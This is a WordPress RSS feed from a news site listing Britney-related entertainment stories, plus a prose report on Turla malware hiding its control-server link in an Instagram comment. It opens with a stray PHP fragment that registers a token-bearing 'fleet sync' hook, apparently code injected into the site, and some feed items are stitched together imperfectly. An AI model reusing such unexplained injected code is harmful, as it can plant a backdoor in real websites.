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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Britney – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 04 Apr 2021 07:50:29 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Britney – Brief News https://briefnews.eu 32 32 SNL Video: Lil Nas X Gives God a Lap Dance at Britney Spears’ Request https://briefnews.eu/snl-video-lil-nas-x-gives-god-a-lap-dance-at-britney-spears-request/ https://briefnews.eu/snl-video-lil-nas-x-gives-god-a-lap-dance-at-britney-spears-request/#respond Sun, 04 Apr 2021 07:50:29 +0000 https://briefnews.eu/snl-video-lil-nas-x-gives-god-a-lap-dance-at-britney-spears-request/

Rapper Lil Nas X made his Saturday Night Live “debut” this week (by way of Chris Redd) in a cold open that also featured Britney Spears, cancelled Looney Tunes character Pepé Le Pew and disgraced Florida Congressman Matt Gaetz. Because why not.

It was all part of Oops, You Did It Again, a recurring sketch in which Spears (played to perfection by Chloe Fineman) shines a light on the week’s biggest pariahs. She also called out Selling Sunset‘s Chrishell Stause — though not by name — for claiming that Spears doesn’t write her own social media posts, before thanking this week’s sponsor: Georgia, “voted best place… not to vote.”

Lil Nas X (played by Redd) was the first guest in the hot seat, as Spears grilled him about giving the Devil a lap dance in his new music video, as well as releasing a controversial line of Satan shoes. “I don’t know why Nike is so mad,” the rapper said. “Their slogan is ‘Just do it.’ Well, I did it!”

Spears, naturally, determined that the only way to even things out was for the rapper to give God a lap dance — which he did, though he reminded the audience that it was actually his friend Gary (played by Mikey Day) dressed up like God. You know, just in case you were confused. (Meanwhile, the real Lil Nas X tweeted, “snl going to hell.”)

The second guest was Kate McKinnon as Pépe Le Pew, who proved that he’s a changed skunk by greeting Spears with a handshake, rather than the usual unwanted kiss. After insisting that he has no hard feelings about being taken out of the new Space Jam movie, the cancelled Looney Tune insisted, “I’m an actor. The part you see me play on TV and in the movies, that is not me.” Fair enough.

Then came the true guest of dishonor: Davidson as Gaetz (with a strong dash of Quagmire from Family Guy). The hostess ran through all of the recent sexual misconduct allegations brought against Gaetz — including that he allegedly dated a 17-year-old girl who he took across state lines, and that he allegedly showed his Republican co-workers inappropriate pictures of the women that he slept with — before telling him, “I think I can smell a predator when I see one. After all, I was on The Mickey Mouse Club.”

Saturday’s episode welcomed actor Daniel Kaluuya (Get Out, Judas and the Black Messiah) as a first-time host, while St. Vincent returned to Studio 8H as a musical guest for the second time; she first appeared on SNL for the Andy Samberg-hosted Season 39 finale in 2014. Pepe sprays him.

Next week’s Saturday Night Live will be hosted by actress Carey Mulligan (Promising Young Woman), with Kid Cudi serving as the show’s musical guest. That episode will mark both Mulligan and Cudi’s SNL debut.

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]]> https://briefnews.eu/snl-video-lil-nas-x-gives-god-a-lap-dance-at-britney-spears-request/feed/ 0 TVLine Items: NYT’s Britney Spears Doc, She-Hulk Casts Friend and More https://briefnews.eu/tvline-items-nyts-britney-spears-doc-she-hulk-casts-friend-and-more/ https://briefnews.eu/tvline-items-nyts-britney-spears-doc-she-hulk-casts-friend-and-more/#respond Thu, 21 Jan 2021 20:38:48 +0000 https://briefnews.eu/tvline-items-nyts-britney-spears-doc-she-hulk-casts-friend-and-more/

Attention, #FreeBritney advocates: The New York Times Presents‘ latest episode, “Framing Britney Spears,” will debut Friday, Feb. 5 at 10/9c, simultaneously on FX and FX on Hulu.

In the standalone documentary installment, “people close to Britney Spears and lawyers tied to her conservatorship now reassess her career as she battles her father in court over who should control her life,” per the official synopsis.

Watch a trailer below:

Ready for more of today’s newsy nuggets? Well…

* Disney+’s forthcoming She-Hulk series has added Ginger Gonzaga (I’m Dying Up Here) to its cast as the best friend of Tatiana Maslany’s titular character, our sister site Deadline reports.

* The Film Independent Spirit Awards will air Thursday, April 22 at 10 pm on IFC.

* Christa Miller (Cougar Town) has joined HBO Max’s Head of the Class reboot pilot — which counts Cougar Town creator Bill Lawrence among its executive producers — in the recurring role of the school’s principal, per Deadline.

* The Showtime drama pilot American Gigolo has tapped Lizzie Brocheré (Falling Water) to play “the heiress to a large, profitable sex work ring who is more than Julian (Jon Bernthal) bargained for,” Deadline reports.

* TBS has set a Tuesday, April 6 premiere date for Chad, in which SNL vet Nasim Pedrad plays a 14-year-old Persian boy as he navigates his first year of high school. Watch a teaser:

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]]> https://briefnews.eu/tvline-items-nyts-britney-spears-doc-she-hulk-casts-friend-and-more/feed/ 0 Britney Spears songwriter reveals the surprising truth behind one of her BIGGEST hits https://briefnews.eu/britney-spears-songwriter-reveals-the-surprising-truth-behind-one-of-her-biggest-hits/ https://briefnews.eu/britney-spears-songwriter-reveals-the-surprising-truth-behind-one-of-her-biggest-hits/#respond Thu, 29 Mar 2018 17:03:32 +0000 http://briefnews.eu/britney-spears-songwriter-reveals-the-surprising-truth-behind-one-of-her-biggest-hits/

RuthAnne Cunningham told Means Happy that different parts of 2013’s Work B**ch were put together by different writers – and that she was only told Spears had recorded it four days before it was released.

Surprisingly, when it was put together, she had absolutely no idea who – if anyone – would end up singing it.

“I came up with the melody parts, the ‘hold your head high, fingers to the sky’ section, for example. All the bits in the song that are sung,” she explained.

“I wasn’t there for the recording itself, but she definitely sings the melody parts in her way, if that makes sense, so it sounds very unmistakably ‘Britney’.

“I think she sounds great on it. I’m not sure where the British accent came from, but I love it.”

Speaking to the new LGBTQ+ website, she said of the moment she head who’d sung it: “A call came four days before it came out and it was played down the phone to me. I was like, wait, that’s our song; I know that voice – is that Britney Spears?!

“Then I was told it was the lead single for her new album and it was coming out in four days. I was like, s**t.

“I mean it’s every 13 year old’s dream, isn’t it?”

Spears is coming to the UK later in the year for some rare tour dates.

The jaunt comes after the closure of her Las Vegas residency Piece of Me, which broke records and became one of the most successful shows ever of its kind.

As for new music, Spears has long been rumoured to drop new material this year but that remains unconfirmed.

She released her most recent opus, Glory, back in 2013 – led by the single Make Me (Oooh).

Currently rumours are doing the rounds that she may collaborate with Panic! At The Disco, after Rock Sound reported them liking a tweet speculating on a duet.

Spears shot to fame in 1999 and has sold over 100 million records worldwide, and 28.6 million digital singles in the USA alone.

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]]> https://briefnews.eu/britney-spears-songwriter-reveals-the-surprising-truth-behind-one-of-her-biggest-hits/feed/ 0 Britney Spears UK tour tickets: EXTRA SHOW added as 'devastated' fans struggle for seats https://briefnews.eu/britney-spears-uk-tour-tickets-extra-show-added-as-devastated-fans-struggle-for-seats/ https://briefnews.eu/britney-spears-uk-tour-tickets-extra-show-added-as-devastated-fans-struggle-for-seats/#respond Sat, 27 Jan 2018 11:51:25 +0000 http://briefnews.eu/britney-spears-uk-tour-tickets-extra-show-added-as-devastated-fans-struggle-for-seats/

The huge star will play London’s O2 Arena on Friday 24 August, with another show now added for Saturday 25.

However both dates are proving tricky for fans today, with demand incredibly high.

Ticketmaster announced on social media: #tmAnnounced! Due to incredible demand, @BritneySpears adds a show in London on Saturday 25 August. Tickets on sale now.”

The date joins her shows in Scarborough on August 17, Manchester on August 18 and Glasgow on August 22.

She is also headlining the Brighton Pride festival on August 4, and playing a string of other dates around Europe.

Fans have been struggling to find tickets, with one saying: “Totally devastated, so wanted to go to see #BritneySpears at the #o2 they sold out at 10am, I was ready & waiting #gutted.”

Another raged: “@TicketmasterUK you need to do ALOT more work on how people snap up tickets to just sell them on. It’s like competing in the hunger games to see @britneyspears and I’ve been vigilant.”

Tickets have begun appearing on resale sites for extortionate prices, leaving some fuming.

“@britneyspears tickets sold out from 10am on the dot yet over 1000 for sale on get me in! What a joke,” tweeted one disgrunted fan.

Indeed some seats for the O2 show are currently selling on GetMeIn for as much as £935.

TicketMaster have updated fans on Twitter with news that mostly Platinum tickets remain; although they have promised they are “working on getting you more #PieceOfMe tickets. Watch this space.”

There had been disappointment yesterday as well when ticket websites crashed during the fan presale, putting added pressure on today’s release.

Spears is touring her Piece of Me set, which recently finished a record-breaking four-year run in Las Vegas.

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]]> https://briefnews.eu/britney-spears-uk-tour-tickets-extra-show-added-as-devastated-fans-struggle-for-seats/feed/ 0 Britney Spears UK tour: Dates, tickets, venues and all you need to know for Piece Of Me https://briefnews.eu/britney-spears-uk-tour-dates-tickets-venues-and-all-you-need-to-know-for-piece-of-me/ https://briefnews.eu/britney-spears-uk-tour-dates-tickets-venues-and-all-you-need-to-know-for-piece-of-me/#respond Tue, 23 Jan 2018 12:22:02 +0000 http://briefnews.eu/britney-spears-uk-tour-dates-tickets-venues-and-all-you-need-to-know-for-piece-of-me/

The music superstar has recently wrapped up her Las Vegas residency with the epic concert, and will now take it on the road.

In the mix are a string of UK dates, including a headlining slot at August’s Brighton Pride.

That show, which will take place on August 4, is already on sale – with tickets starting at just £25, rising to £37.50 as availability dwindles.

She’ll also be at Scarborough’s Open Air Theatre on August 17, the Manchester Arena on August 18, Glasgow’s SSE Hydro on August 22 and London’s The O2 on August 24.

Tickets for all those shows go on sale on January 27 at 10am, with pre-sale access available 25 hours earlier – from 9am on January 26.

Amongst the other European dates, Spears will be in Berlin, Germany on August 6, Skanderborg, Denmark on August 8, Oslo, Norway on August 10 and Sandviken, Sweden on August 11.

Then she returns to Germany to play Mönchengladbach on August 13, Belgium’s Antwerp on August 15 and Dublin’s 3 Arena in Ireland on August 20.

This is Britney’s first full international venture for quite some time, although she has played occasional one-off shows away from Vegas since she began her residency back in 2013.

She’ll also be playing several concerts around the USA, although currently only six cities overall have been announced – including New York.

Fans have been reacting with utter excitement at the news – with Spears’ name, as well as Brighton Pride and Scarborough Open Air Theatre, trending on Twitter this morning.

Spears herself said in a tweet: “I’m so excited to announce that we’re bringing the #PieceOfMe tour to select cities in North America, Europe and the UK! See you guys this summer.”

Britney is also rumoured to be releasing new music in the coming months, although this is unconfirmed.

Her latest opus Glory came out in 2016 to her best critical acclaim in years.

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]]> https://briefnews.eu/britney-spears-uk-tour-dates-tickets-venues-and-all-you-need-to-know-for-piece-of-me/feed/ 0 ‘GLOW’s’ Britney Young on the Paradoxes of Pro Wrestling and the Constrictions of Hollywood Tropes https://briefnews.eu/glows-britney-young-on-the-paradoxes-of-pro-wrestling-and-the-constrictions-of-hollywood-tropes/ https://briefnews.eu/glows-britney-young-on-the-paradoxes-of-pro-wrestling-and-the-constrictions-of-hollywood-tropes/#respond Fri, 21 Jul 2017 21:00:11 +0000 http://briefnews.eu/glows-britney-young-on-the-paradoxes-of-pro-wrestling-and-the-constrictions-of-hollywood-tropes/ GLOW‘s first season was an unremittingly fun piece of period meta-television that somehow didn’t feel forced. It had a keen understanding of how pro wrestling is not only a performance, but also one with narratives that reflect society’s generalizations about body type, ethnicity, and gender at any given period. And it showed its central characters beginning to learn about themselves through performing highly campy secret parodies of what society wants to see. Because of its fundamental knowledge of the processes of reduction through which Hollywood imagines people, those elements resonate organically without, ultimately (particularly after its more on-the-nose first episodes), hitting you over the head with a constant thesis.

What unfolds is a show about a group of women who’re all, for their own reasons, somewhat lost in the perception pit of L.A. in the ’80s, and who’re all given a totally bizarre opportunity to bond, and perhaps most fittingly, to pretend to body-crush each other – while actually engaging in a complex choreography of collaboration and hyper-awareness of one another’s well-being.

Britney Young, a Tokyo-born, Alaska-raised, 29-year-old actor (by way of a USC degree in Cinematic Arts, then production secretarial work, then roles on the likes of Those Who Can’t, Better Things, and Crazy Ex-Girlfriend) plays Carmen Wade, whose character has a pretty singular relationship to wrestling: all of the men in her family are relatively famous wrestlers (and, incidentally, her two brothers in the film are played by real-life pro-wrestling stars). And since she was a kid, the presumption was that this would never be (because they’d refuse to let it be, on the grounds of nothing but typical gendered assumption) her fate.

When she becomes a part of the syndicated Gorgeous Ladies of Wrestling series, directed by the soulfully sleazy Sam Sylvia (Marc Maron), she’s assigned the role of Machu Picchu, the Peruvian “gentle giant” — a reification of a sizeist trope and a (false) ethnic assumption. (Carmen herself is not Peruvian; nor is “Fortune Cookie” Chinese, and “Beirut the Mad Bomber” is actually Indian American.) But even within those constraints, away from her family, she can still work towards her own self-invention: given the weight of the wrestling dynasty she comes from, the actual idea of escaping familial expectations and carving out a niche for herself is all the more challenging.

I spoke to Britney Young about her experiences playing Carmen, playing the ’80s, playing around with the show’s incisive commentary on how type is reified in Hollywood, and playing aggression while actually enacting meticulous care and awareness.

Flavorwire: You and Carmen seem to have had similar introductions to wrestling: Carmen’s a novice in a family of wrestlers, and the actual actors playing your brother characters are professional wrestlers Brodus Clay and Carlito. Did the fact that you were paralleling Carmen’s experience of being a novice within a wrestling dynasty make it easier for you to understand her?

Britney Young: By the time Carlito and Brodus Clay had come onto set, that was the second month of shooting, and we had already been training the whole time. But what I really appreciated from them specifically was that they taught me a lot of wrestling etiquette, not necessarily actual wrestling moves – specifically in Episode 4, when [her father] Goliath Jackman is talking to Carmen through the ropes. They were telling me, “if she were a real wrestler, she would bend down to get on his level to show respect, and talk to him at face level instead of going over him,” little things like that. We didn’t end up doing it, but knowing those things and understanding that dynamic helped me in that scene; we know Carmen is standing up to her father by not coming down to his level, and saying, ‘This is what I want to do.’ Even though she’s not at that point yet, she’s already saying, physically, ‘This is where I need to be, you have to respect that.’ So having them there showing me these little tidbits was really great. In addition to them, Chavo Guerrero, Jr. was our wrestling coordinator; he comes from a wrestling dynasty just like Carmen does. And he and I had a lot of conversations about how he knew he wanted to be a wrestler from the very beginning, and his journey to carve out his own Chavo legacy within the Guerrero family.

I know that a lot of acting training is paired with physical training (particularly in theater, from Tai Chi to more formal theatrical trainings like Suzuki and Viewpoints) to help actors achieve specificity and grounding and awareness in their bodies. Did wrestling training itself have a similar way of actually helping you more broadly in your acting technique?

All of us girls say, ‘I’m a wrestler now.’ And that’s kind of our mantra. You get into that mentality, and the physicality where you need to go out there and hit this performance but still be so aware of so many things, like communication, respecting your partner. There are so many things that go into wrestling that are overlooked, because it’s seen as this aggressive sport. But that really informed me a lot, especially in having to communicate and understand where all these actors are coming from and why they’re making these choices, and having to play off of those choices to make this scene make sense — it really helped a lot. It was informative more even in terms of mentality than physicality.

Was there a character in the original Gorgeous Ladies of Wrestlingwho you were emulating, or a few of characters? Or did you come at Carmen without those references?

Our show is inspired by the original — we’re not exact replicas and we don’t even use the word “based on” because the characters aren’t the same exact women. But we watched a lot of the clips and we specifically watched the documentary that inspired our showrunners Liz Flahive and Carly Mensch to write this show. And there was one character in it who I was immediately drawn to. Her name is Emily Dole; she played Mount Fiji. But it was more that I was drawn to her because she was a plus-size woman, she was this bigger standout on the show, and she was the sweetest, kindest person. And I really drew on that a lot for Carmen. You can be in this aggressive sport and go out there and wrestle around with people, but you can be a genuinely sweet person. But again she is a separate character. I wanted very much to be truthful to the material and the situation that our writers were putting her in, and how she would react to that — and not so much what Mount Fiji would do.

One of the intriguing things about this show is the paradox of the characters existing totally outside of the stereotypes they’re given by Hollywood, but because the job necessitates that they embody them, they seem to find their own sense of liberation through playing around with stereotypes, making the joke about the existence of the stereotype itself. Did that complexity read on the page when you first saw the script?

To be honest, we would read things sometimes, and all of us girls would freak out a little bit. ‘Oh my God, I can’t believe we’re going there.’ But we has an actual professional wrestler, Kia Stevens, in our cast, and she’s fantastic, and we would ask her, ‘Kia, did you ever experience this, or is this truthful in any way?’ And she would just go on and tell all of these stories, and it would start this conversation with all of us girls specifically about how this stuff wasn’t okay, and how do we go forward? And that’s one of the things I love about this show: we bring up these stereotypes, and these women do play into them, but we don’t just leave it there. We try to bring these stereotypes down and get to the root of where you think they’re coming from, and specifically why they’re not okay. All of our characters say ‘do not define me; let me show you exactly who I am.’ We don’t just leave it, or walk away like, ‘ha ha, Beirut the Bomber’ — she really breaks it down and tries to find the emotion and the fear and the root of where this came from. I really appreciate that about the show.

The show is irreverent and fun without being too nostalgic about the ’80s. How aware were you as a performer of acting “period,” of even playing around with cultural projections of type within a period that isn’t your own? 

One thing I like to say about our show is we’re not trying to pay homage to the ’80s. We’re trying to be the ’80s, with everything we do — from the simple things like the hair, makeup, and styling choices, to the gritty gray filter that our DP Christian Sprenger used to make it look like an ’80s film. I really appreciate all of that. I was in the ’80s for a solid year-and-a-half, so I’m not conscious to everything that was happening. But I grew up on ’80s film, and to think about what these characters had to go through for it to be normal for them — that’s how we approached it. It’s not normal for us, but for Carmen, for Ruth, for Debbie, for Sheila, it is.

It’s not your scene, but I think the opening — where Alison Brie’s Ruth is auditioning — is the best introduction to how the show tackles the way type is made by Hollywood, and the reductionism of auditions and casting calls. With auditioning for you, as someone who hasn’t been acting professionally for that long (four years), has it changed with the more professional experience you’ve gotten, and since you were cast on GLOW? When does one get the mobility to be seen on a more personal than symbolic level in Hollywood? 

It’s starting — when I began, it was frustrating, because I was maybe getting one or two auditions a month. Whereas my friends were getting one or two a week at their slowest points. And for most of those characters, their descriptions weren’t even about personality. They were like, ‘Plus Sized, Big Stature, Tall, Big Girl.’ It was always so much about trying to fit this physical type. Which is funny, because in this business a lot of people are like, ‘You have to be gorgeous, you have to be blonde, you have to be blue-eyed.’ But you don’t realize a lot of people get work based on physical constraints in a negative way. I’m grateful for the roles I booked because all of the projects I’ve worked on have been fantastic and everyone’s treated me so well, but now I’m starting to notice I’m getting a lot more auditions where the physicality aspect is becoming a bit looser — open size, open weight. Now it’s more like, ‘we’re looking for outgoing, we’re looking for bubbly.’ It’s now becoming a character description, and I’m so grateful for that. I read something Maya Rudolph said recently that pertains a lot: she said she never set out to be a ‘funny female comedian.’ She just set out to be funny, and she’s female by no choice of her own. And I didn’t set out to be a funny plus-size actress. I just set out to be funny. To be an actress. To put that disclaimer in front of it — let’s get rid of that. Let’s start seeing people for the talented performers they are who can transform into these roles, instead of ‘she can only do plus-size things.’

Carmen had a pretty fully developed arc in this season. Now that she seems to overcome the weight of her legacy — she had her panic attacks, but through her family’s ultimate show of support and through her own sense of self worth has conquered this thing. What’s your ideal for where Carmen will go next? 

I agree that she had a great arc, but I don’t think that arc is finished. She has a lot of growth to do; she still needs to find confidence where she can get it on her own, and not get it from her family. I want to see that continue. But she’s still innocent and naive in this way of life, especially the Hollywood life. I want to see how she reacts to certain things — like sex, and drugs, and parties. Really coming into this era when those things are extremely prevalent in the job she’s chosen. I want to see how she deals with the Hollywood side of everything.

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]]> https://briefnews.eu/glows-britney-young-on-the-paradoxes-of-pro-wrestling-and-the-constrictions-of-hollywood-tropes/feed/ 0 El Al Flight Attendants Spoof Britney Spears’ ‘Toxic’ Music Video https://briefnews.eu/el-al-flight-attendants-spoof-britney-spears-toxic-music-video/ https://briefnews.eu/el-al-flight-attendants-spoof-britney-spears-toxic-music-video/#respond Thu, 22 Jun 2017 23:09:59 +0000 http://briefnews.eu/el-al-flight-attendants-spoof-britney-spears-toxic-music-video/

El Al Spoofs Britney Spears’ ‘Toxic’ Music Video

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]]> https://briefnews.eu/el-al-flight-attendants-spoof-britney-spears-toxic-music-video/feed/ 0 Russian malware link hid in a comment on Britney Spears’ Instagram https://briefnews.eu/russian-malware-link-hid-in-a-comment-on-britney-spears-instagram/ https://briefnews.eu/russian-malware-link-hid-in-a-comment-on-britney-spears-instagram/#respond Wed, 07 Jun 2017 22:47:47 +0000 http://briefnews.eu/russian-malware-link-hid-in-a-comment-on-britney-spears-instagram/

Instagram is on its way to hitting a billion users this year and with that kind of popularity comes a lot of traffic. But lurking among all of many, many harmless comments that get posted each day, there’s also the occasional post instructing Russian malware how to get in touch with its controllers. Because of course there is.

The Slovak IT security company ESET Security released a report yesterday detailing a cleverly hidden example of such a post. And its hideout? A Britney Spears photo. Among the nearly 7,000 comments written on the performer’s post (shown below) was one that could easily pass as spam.

The malware was situated in a Firefox browser extension pretending to be a security feature and it would search for hidden links in order to connect back to its control server. And the comment, now deleted, was actually a web address that required a fairly complicated, multi-step process to decipher.

In this case, the malware went through all of the comments on Spears’ Instagram photo and computed a number, or a “hash,” for each one, while it looked for a specific hash. When it found the comment with the right hash, it would check it out for particular characters, grab the letters that came after those characters and turn them it into a link. That link would then let the malware connect to its controllers. Such a method allows the controllers to change where it meets up with the malware without having to change the malware itself.

ESET Security said they thought this particular post was just a test and linked the malware scheme to a group called Turla, a cyber espionage group that the company says has targeted governments, government officials and diplomats for some time.

So, while that weird comment on your latest selfie might look like junk, it could actually be a conduit for some Russian malware and the subject of some upcoming breaking news. Happy posting.

 

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]]> https://briefnews.eu/holy-shit-britney-spears-singing-toxic-without-autotune-has-leaked/feed/ 0 Did Britney Spears seriously delay Israeli ELECTIONS with her Tel Aviv show? https://briefnews.eu/did-britney-spears-seriously-delay-israeli-elections-with-her-tel-aviv-show/ https://briefnews.eu/did-britney-spears-seriously-delay-israeli-elections-with-her-tel-aviv-show/#respond Wed, 05 Apr 2017 20:37:50 +0000 http://briefnews.eu/did-britney-spears-seriously-delay-israeli-elections-with-her-tel-aviv-show/

It seems almost impossible, but the singer has actually disrupted the democratic process of an entire nation.

Reports from local media in Israel have confirmed that politicians have decided to postpone the elections to avoid a clash.

There were conecerns that voters would not be able to reach polling stations due to the disruption to traffic expected and officials admitted that it had proved difficul to find sufficient security personnel available to protect the voting process.

A statement said: “The election date was delayed by one day due to the fact that there is a major event at Yarkon Park on July 3, 2017.”

Although the wording was careful not to name the event in question, it is referring to the US superstar’s first ever concert in Isreal, which is part of her 2017 World Tour.

So far, only dates in the Phillippines, Japan and Israel have been revealed, causing the Israeli elections to be moved to July 4.

A Labor Party spokesperson told The Times of Israel that the decision would “make it easier for people to reach polling stations” and admitted that officials had experienced “a difficulty in recruiting security guards” for the original date.

The ballots were the first round of the process to choose the leader of the Labour Part, HaAvoda.

Current leader Isaac Herzog is being opposed by high profile candidates like former high-tech entrepreneur MK Erel Margalit, former party leader MK Amir Peretz, former environmental protection minister Avi Gabbay, MK Eitan Cabel, former head of the elite IDF unit Sayeret Matkal MK Omer Barlev, activist-journalist Eldad Yaniv and retired general Yom Tov Samia.

Potential candidates still have until April 27 to submit their names.

Ther has been no official world from Britney Spears on the matter.

Her Twitter account is currently promoting her 2017 World Tour, which will follow on from her latest Las Vegas residency, plus her new album Glory.

Many of the other posts focus on her renewed interest in health and fitness, with numerous pictures and videos of her workout regime and impressive beach body.

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